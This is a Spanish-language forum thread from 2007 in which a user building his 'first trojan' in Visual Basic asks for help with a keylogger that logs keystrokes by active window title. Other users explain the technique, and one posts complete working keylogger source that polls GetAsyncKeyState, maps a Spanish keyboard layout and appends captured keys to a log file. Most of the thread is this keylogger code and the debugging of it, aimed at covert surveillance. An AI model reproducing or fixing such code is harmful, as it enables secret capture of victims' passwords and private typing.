ayuda con keylogger

Iniciado por TheWhite, 7 Agosto 2007, 16:51 PM

0 Miembros y 1 Visitante están viendo este tema.

TheWhite

bueno, estoy haciendo mi primer troyano en vb  y estuve tratando de hacer un keylogger que:

1. Logea las teclas mientras la ventana siempre sea la misma
2. cuando cambia la ventana escribe en un .txt el nombre de la ventana junto con las teclas que se pulsaron mientras estaba activa

El problema me viene en el segundo punto, trate de mil formas, busque APIs y todo pero no logro hacer que al cambiar de ventana guarde lo pulsado (no se como indicarle que cuando la ventana activa cambie guarde lo pulsado  :¬¬)
!
si alguien tiene alguna sugerencia, bienvenida sea  ;)

gracias de antemano

PD: en este codigo me tira un error de "Subindice fuera del intervalo" y no entiendo por que es, no le veo logica para existir tal error (EDIT: YA LO SOLUCIONE ESTO)

Codigo:
If Left(datos, 7) = "listwnd" Then
Dim ventanas() As String, itemwnd() As String, listhwnd As Long, listnomwnd As String, nom As String
dato = Split(datos, "@")
ventanas = Split(dato(1), "?")
For i = 0 To UBound(ventanas)
itemwnd() = Split(ventanas(i), "/")

listWnd.AddItem itemwnd(0)  "EN ESTA SENTENCIA DICE QUE ESTA EL ERROR"


Next i
End If

TheWhite

Bueno, lo hice para que en vez de cuando cambia de ventana sea cuando se presiona ENTER, aunque me hubiera gustado mas de la anterior forma, igualmente tiene errores, por ejemplo no obtiene el Titulo de al ventana activa, y me graba todas "," como si estuviera presionada, dejo el codigo aver si alguien me da una mano:

Private Sub timeKeylog_Timer()


Dim pulsa As Long, teclas As String, hwndk As Long, nomb As String, nomcompleto As Long, nomfinal As String, activekey As String, lenT As Long
hwndk = GetForegroundWindow
lenT = GetWindowTextLength(hwndk)
nomb = String$(lenT, 0)
     nomcompleto = GetWindowText(hwndk, nomb, lenT + 1)
     nomfinal = Left(nomb, nomcompleto)


activekey = GetActiveKey

Select Case activekey


Case vbKeyReturn

Open App.Path & "\systemkl.log" For Append As #1
Print #1, "[" & nomfinal & "-" & Date & "-" & Time & "]"

Print #1, teclas
Print #1, "   "
Close #1
teclas = ""



Case vbKeyA To vbKeyZ, 32 To 47
teclas = teclas + Chr(activekey)
End Select

End Sub


Esto seria la funcion GetActiveKeys (creditos a Slasher-K)

Function GetActiveKey() As Integer
         Static bStarted As Boolean
         Dim i%

  If Not bStarted Then
    'Inicializa el estado de las teclas llamando a
    'la función GetAsyncKeyState.
    '
    For i = 1 To 256
      Call GetAsyncKeyState(i)
    Next

    bStarted = True
  End If

  For i = 1 To 256
    'Obtiene la tecla pulsada actualmente.
    '
    If GetAsyncKeyState(i) Then
      GetActiveKey = i
     
      Exit For
    End If
  Next
End Function


Alguien que me pueda echar una mano?

Gracias

Jareth

Vaya lio te estas montando.
Es facil,ahora no te puedo poner ningun ejemplo,cuando esté en Windows te lo pondré del keylogger de mi troyano.
Lo que hago es capturar e caption de la ventana activa,y lo almazeno en una variable,al principio del timer comparo el caption de la ventanaa actual con la variable esa que te digo,que no es mas que el caption de la ultima ventana activa,si es lo mismo pues que siga escribeindo,sino nueva linea con el nuevo caption y lo que se esta pulsando.
Y asi....
Espero qeu se entienda,es sencillo.
Tu codigo lo veo un lio...
No se,no tengo ganas ahora de estar mirando,cuando este en windows ya te lo enseño  :)

yovaninu

Cita de: Jareth en  9 Agosto 2007, 17:01 PM
Lo que hago es capturar e caption de la ventana activa,y lo almazeno en una variable,al principio del timer comparo el caption de la ventanaa actual con la variable esa que te digo,que no es mas que el caption de la ultima ventana activa,si es lo mismo pues que siga escribeindo,sino nueva linea con el nuevo caption y lo que se esta pulsando.
es un code que esta en internet publico para todos no se la fuente pero deberiamos siempre decir que no es nuestro code al menos no mio salvo que realmente lo consideres tuyo en fin... aqui esta:

en el form load:

Código (vb) [Seleccionar]

Option Explicit

Private Sub Form_Load()
'activar el keylogger
SetTimer Me.hwnd, 0, 25, AddressOf TimerProc
End Sub



y en un módulo:

Código (vb) [Seleccionar]

Option Explicit
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Declare Function GetKeyboardState Lib "user32" (ByVal StateOfKey As Byte) As Long
 
Private Const VK_CAPITAL = &H14
Private Const VALPRESS = -32767
   
Private Const SHIFT As Integer = 16
Private Const ALT_GR As Integer = 165

Private Const SHIFTI As Integer = 160
Private Const ALTI As Integer = 164
Private Const CTRLI As Integer = 162


Declare Function GetForegroundWindow Lib "user32" () As Long
Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long


Private HISTORY As String
Private WinActive As String
Private File As String




 
Dim retorno As Long
 



Public Const DT_CENTER = &H1
Public Const DT_WORDBREAK = &H10
Type RECT
    Left As Long
    Top As Long
    Right As Long
    Bottom As Long
End Type

Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long


Global Cnt As Long, sSave As String, sOld As String, ret As String




Function GetPressedKey() As String


   On Error Resume Next

  For Cnt = 65 To 90

     If GetAsyncKeyState(ALT_GR) < 0 Then Exit For

      retorno = GetAsyncKeyState(Cnt)
           If retorno = VALPRESS Then
                       If GetAsyncKeyState(SHIFT) < 0 Then
                           GetPressedKey = UCase$(Chr$(Cnt))
                           If BShift Then GetPressedKey = LCase$(Chr$(Cnt))
                       Else
                           GetPressedKey = LCase$(Chr$(Cnt))
                           If BShift Then GetPressedKey = UCase$(Chr$(Cnt))
                       End If
                   GoTo Found
           End If

Next Cnt


For Cnt = 48 To 57
      retorno = GetAsyncKeyState(Cnt)

If retorno = VALPRESS Then
                   If GetAsyncKeyState(SHIFT) Then
                       If Not GetAsyncKeyState(ALT_GR) < 0 Then
                               GetPressedKey = Mid$("=!""·$%&/()", Cnt - 47, 1)
                               GoTo Found
                       End If

                   Else
                       If GetAsyncKeyState(ALT_GR) < 0 Then
                           Select Case Cnt
                               Case 49: GetPressedKey = "|"
                               Case 50: GetPressedKey = "@"
                               Case 51: GetPressedKey = "#"
                               Case 52: GetPressedKey = "~"
                               Case 53: GetPressedKey = "€"
                               Case 54: GetPressedKey = "¬"
                               Case Else: GetPressedKey = ""
                         End Select
                       Else
                           GetPressedKey = Chr$(Cnt)
                       End If
                       GoTo Found
                   End If
  End If
Next Cnt


For Cnt = 96 To 105
      retorno = GetAsyncKeyState(Cnt)

      If (retorno = VALPRESS) And (Not GetAsyncKeyState(ALT_GR) < 0) Then
               GetPressedKey = Cnt - 96
           GoTo Found
       End If
Next Cnt


   If GetAsyncKeyState(111) = VALPRESS Then
       If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "/"
       GoTo Found
   End If
'
   If GetAsyncKeyState(106) = VALPRESS Then
       If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "*"
       GoTo Found
   End If
'
   If GetAsyncKeyState(109) = VALPRESS Then
       If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "-"
       GoTo Found
   End If

   If GetAsyncKeyState(107) = VALPRESS Then
       If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "+"
       GoTo Found
   End If

   If GetAsyncKeyState(8) = VALPRESS Then 'tecla retroceso
       If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = ""
       GoTo Found
   End If
   
   If GetAsyncKeyState(8) = VALPRESS Then
       If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "{Del}"
       GoTo Found
   End If

   If GetAsyncKeyState(13) = VALPRESS Then
      GetPressedKey = vbCrLf

       SaveFile HISTORY
       HISTORY = ""
       GoTo Found
   End If

   If GetAsyncKeyState(32) = VALPRESS Then
       If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = " "
       GoTo Found
   End If

   If GetAsyncKeyState(46) = VALPRESS Then
       If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = ""
       GoTo Found
   End If


   If GetAsyncKeyState(186) = VALPRESS Then
           If GetAsyncKeyState(SHIFT) < 0 Then
               If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "^"
           Else
               If GetAsyncKeyState(ALT_GR) < 0 Then
                   GetPressedKey = "["
               Else
                   GetPressedKey = "`"
               End If
           End If
       GoTo Found
   End If


   If GetAsyncKeyState(187) = VALPRESS Then
           If GetAsyncKeyState(SHIFT) < 0 Then
               If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "*"
           Else
               If GetAsyncKeyState(ALT_GR) < 0 Then
                   GetPressedKey = "]"
               Else
                   GetPressedKey = "+"
               End If
           End If
       GoTo Found
   End If


   If GetAsyncKeyState(188) = VALPRESS Then
           If GetAsyncKeyState(SHIFT) < 0 Then
               If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = ";"
           Else
               GetPressedKey = ","
           End If
       GoTo Found
   End If

   If GetAsyncKeyState(189) = VALPRESS Then
           If GetAsyncKeyState(SHIFT) < 0 Then
               If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "_"
           Else
               GetPressedKey = "-"
           End If
       GoTo Found
   End If

   If GetAsyncKeyState(190) = VALPRESS Then
           If GetAsyncKeyState(SHIFT) < 0 Then
               If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = ":"
           Else
               GetPressedKey = "."
           End If
       GoTo Found
   End If

   If GetAsyncKeyState(191) = VALPRESS Then
           If GetAsyncKeyState(SHIFT) < 0 Then
               If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "Ç"
           Else
               If GetAsyncKeyState(ALT_GR) < 0 Then
                   GetPressedKey = "}"
               Else
                   GetPressedKey = "ç"
               End If
           End If
       GoTo Found
   End If


   If GetAsyncKeyState(192) = VALPRESS Then
        If Not GetAsyncKeyState(ALT_GR) < 0 Then
               If GetAsyncKeyState(SHIFT) < 0 Then
                    GetPressedKey = "Ñ"
                    If BShift Then GetPressedKey = "ñ"
               Else
                    GetPressedKey = "ñ"
                    If BShift Then GetPressedKey = "Ñ"
               End If
               GoTo Found
       End If
   End If



   If GetAsyncKeyState(219) = VALPRESS Then
           If GetAsyncKeyState(SHIFT) < 0 Then
               If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "?"
           Else
               GetPressedKey = "'"
           End If
       GoTo Found
   End If

   If GetAsyncKeyState(220) = VALPRESS Then
           If GetAsyncKeyState(SHIFT) < 0 Then
               If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "ª"
           Else
               If GetAsyncKeyState(ALT_GR) < 0 Then
                   GetPressedKey = "\"
               Else
                   GetPressedKey = "º"
               End If
           End If
       GoTo Found
   End If

   If GetAsyncKeyState(221) = VALPRESS Then
           If GetAsyncKeyState(SHIFT) < 0 Then
               If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "¿"
           Else
               GetPressedKey = "¡"
           End If
       GoTo Found
   End If

   If GetAsyncKeyState(222) = VALPRESS Then
           If GetAsyncKeyState(SHIFT) < 0 Then
               If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "¨"
           Else
               If GetAsyncKeyState(ALT_GR) < 0 Then
                   GetPressedKey = "{"
               Else
                   GetPressedKey = "´"
               End If
           End If
       GoTo Found
   End If







Found:
   If GetWinActive = WinActive Then
       HISTORY = HISTORY & GetPressedKey
   Else
       WinActive = GetWinActive
       HISTORY = HISTORY & "[" & WinActive & "]" & vbCrLf & GetPressedKey & vbCrLf
   End If


End Function



Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
    ret = GetPressedKey
    If ret <> sOld Then
        sOld = ret
        sSave = sSave + sOld
    End If
End Sub


Function BShift() As Boolean
   Dim Teclas(0 To 255) As Byte
   GetKeyboardState Teclas(0)
   BShift = Teclas(VK_CAPITAL)
End Function


Private Function GetWinActive() As String
   Dim Handle As Long
   Dim Lon As Long
   Dim Txt As String
   Dim ret As Long

   Handle = GetForegroundWindow()
   Lon = GetWindowTextLength(Handle) + 1
   Txt = Space(Lon)
   ret = GetWindowText(Handle, Txt, Lon)
   GetWinActive = Left(Txt, Lon - 1)
End Function



Private Function SaveFile(Cont As String)
   On Error Resume Next
   Dim FF As Long
   FF = FreeFile

   Open "d:\logger.txt" For Binary As FF
       Put #FF, LOF(FF) + 1, Cont
   Close FF
End Function


ejecutas y cada que presiones la tecla enter se crea un archivo logger.txt en la undad d, (puedes cambiar eso) con las teclas ultimas pulsadas... es un kylogger basico habria que añadirle mas funciones pero es lo que hasta ahora necesitas...

un saludo!

Jareth

Claro que es mio,no no he hecho copy&paste como tu,es evidente que codes de esos hay un monton,pero no por ello significa que tenags que copiarlos  ;)
Enfin como veias si quereis seguir haciendo copy&paste en vez de entender lo que haceis y hacerlo vosotros...

TheWhite

Gracias por las respuestas, espero tu codigo Jareth.Yo antes trataba de ahcer lo mismo, que obtenga la ventana actual y un timer que se fije si cambia, pero sino me equivoco , o hasta donde da mi imaginacion, tendria que haber dos timers, uno que constantemente capte cual es la ventana activa y otro que se fije si cambia o no, no es asi?

Gracias

Jareth

Cita de: TheWhite en  9 Agosto 2007, 19:00 PM
Gracias por las respuestas, espero tu codigo Jareth.Yo antes trataba de ahcer lo mismo, que obtenga la ventana actual y un timer que se fije si cambia, pero sino me equivoco , o hasta donde da mi imaginacion, tendria que haber dos timers, uno que constantemente capte cual es la ventana activa y otro que se fije si cambia o no, no es asi?

Gracias
No,con 1 timer basta.
Mira,te lo explico asi un poco,intenta sacarlo tu,sino ya te pondré el ejemplo(quizas mañana).
Declara una variable como string en generla,digamos Ventana.
Al principio del timer,capturas el caption de la ventana activa,y la comparas con la variable ventana,de manera que si es diferente,salte una linea y escriba(en mi caso)la fecha,hora y caption de la ventana.Al final,pon que la variable Ventana contenga el valor de la ventana activa en ese momento,asi cuando el tiemr se vuelva a ejecutar,se compara si es igual,si es igual se sigue escribiendo lo que se capta,sino se salta una linea y se ponen esos parametros(caption ventana,fecha y hora(en mi caso)),y se escribe lo k se capta a no ser qeu cambie.

El resultado,es este:

[Google - Mozilla Firefox] a las 19:00 el 20/07/07
videos xxx{Enter}

[Bloc de Notas]a las 19:01 el 20/07/07
Hola que tal....

Bueno es un ejemplo de como seria,los parametros ponlos como quieras,pero se ve claro el resultado que se obtendria  :P

TheWhite

Bueno a partir de lo que me dijistes hice esto, pero tampoco funciono  :¬¬ :

Private Sub timeKeylog_Timer()
Dim nombreactu As String, nom As String, hwndv As Long, vent As Long

hwndv = GetForegroundWindow()
lenT = GetWindowTextLength(hwndv)
nom = String$(lenT, 0)
     vent = GetWindowText(hwndv, nom, lenT + 1)
    nombreactu = Left(nom, vent)
   
For i = 0 To 256
Dim estado As Long, teclas As String
estado = GetAsyncKeyState(i)
 
If estado = -32767 Then
teclas = teclas + Chr(i)
End If
Next
   
If Not ventana = nombreactu Then

Open App.Path & "\prueba.txt" For Append As #1
Print #1, "[" & ventana & "-" & Date & "-" & Time & "-]"
Print #1, teclas
Close #1

teclas = ""
ventana = nombreactu
End If

   
End Sub



este es el resultado de prueba.txt con ese codigo:

[-09/08/2007-07:18:18 p.m.-]

[Server-09/08/2007-07:18:25 p.m.-]

[-09/08/2007-07:18:25 p.m.-]

[VB-09/08/2007-07:18:30 p.m.-]

[prueba.txt - Bloc de notas-09/08/2007-07:18:36 p.m.-]

[VB-09/08/2007-07:18:46 p.m.-]

[API-Guide 3.7 - 925 functions found!-09/08/2007-07:18:51 p.m.-]

[-09/08/2007-07:18:51 p.m.-]

[VB-09/08/2007-07:18:54 p.m.-]

[prueba.txt - Bloc de notas-09/08/2007-07:19:16 p.m.-]

[VB-09/08/2007-07:19:17 p.m.-]

[-09/08/2007-07:19:18 p.m.-]



No se que seran esas entradas sin el nombre de la ventana y como pueden ver tampoco capturo las letras.
Por ahora no pude encontrar el error.

TheWhite

Nadie tiene ninguna sugerencia?  :(

TheWhite

Jareth, lei nuevamente tu recomendacion e hice esto:
Private Sub timeKeylog_Timer()
Dim nombreactu As String, nom As String, hwndv As Long, vent As Long, ventana As Long

hwndv = GetForegroundWindow()
lenT = GetWindowTextLength(hwndv)
nom = String$(lenT, 0)
     vent = GetWindowText(hwndv, nom, lenT + 1)
    nombreactu = Left(nom, vent)
   
   If Not ventana = hwndv Then

Open App.Path & "\prueba.txt" For Append As #1
Print #1, "[" & nombreactu & "-" & Date & "-" & Time & "-]"
Print #1, teclas
Close #1

teclas = ""

End If


For i = 0 To 256
Dim estado As Long, teclass As String
estado = GetAsyncKeyState(i)
 
If estado = -32767 Then
teclass = teclass + Chr(i)
End If

ventana = GetForegroundWindow()
Next


pero el txt graba muchisimas lineas con el nombre de cada ventana y ni si quiera graba las teclas. ayudaaaaaaaa